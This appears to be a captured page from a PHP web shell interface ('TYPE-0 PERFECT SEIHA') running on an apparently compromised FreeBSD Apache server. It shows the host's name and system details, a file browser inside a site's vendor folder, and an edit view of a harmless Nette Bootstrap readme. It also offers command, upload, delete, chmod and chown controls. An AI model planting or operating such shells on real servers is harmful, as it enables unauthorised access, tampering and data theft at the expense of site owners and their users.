TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
nette
bootstrap
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/nette/bootstrap/readme.md
Nette Bootstrap =============== [](https://packagist.org/packages/nette/bootstrap) [](https://travis-ci.org/nette/bootstrap) File `bootstrap.php` loads Nette Framework and all libraries that we depend on: ```php require __DIR__ . '/../vendor/autoload.php'; ``` Class `Configurator` creates so called DI container and handles application initialization. ```php $configurator = new Nette\Configurator; ``` Activates Tracy in strict mode: ```php //$configurator->setDebugMode(TRUE); $configurator->enableDebugger(__DIR__ . '/../log'); ``` Setup directory for temporary files ```php $configurator->setTempDirectory(__DIR__ . '/../temp'); ``` Activate [autoloading](https://doc.nette.org/en/auto-loading#toc-nette-loaders-robotloader), that will automatically load all the files with our classes: ```php $configurator->createRobotLoader() ->addDirectory(__DIR__) ->addDirectory(__DIR__ . '/../vendor/others') ->register(); ``` And according to the configuration files it generates a DI container. Everything else depends on it. We will return this DI Container as a result of calling `app/boostrap.php` ```php $configurator->addConfig(__DIR__ . '/config/config.neon'); $configurator->addConfig(__DIR__ . '/config/config.local.neon'); return $configurator->createContainer(); ``` and we will store it as local variable in `www/index.php` and run the application: ```php $container = require __DIR__ . '/../app/bootstrap.php'; $container->getService('application')->run(); ``` That's it.
Crotin
Name
Size
Permissions
Modified
User/Group
composer.json
1021
0644
2018-07-10 17:51:53
Unknown/Unknown
license.md
2724
0644
2016-01-11 22:52:52
Unknown/Unknown
readme.md
1651
0644
2016-01-11 22:52:54
Unknown/Unknown
contributing.md
1233
0644
2016-01-11 22:52:54
Unknown/Unknown
src
-
0755
2016-01-11 22:52:54
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin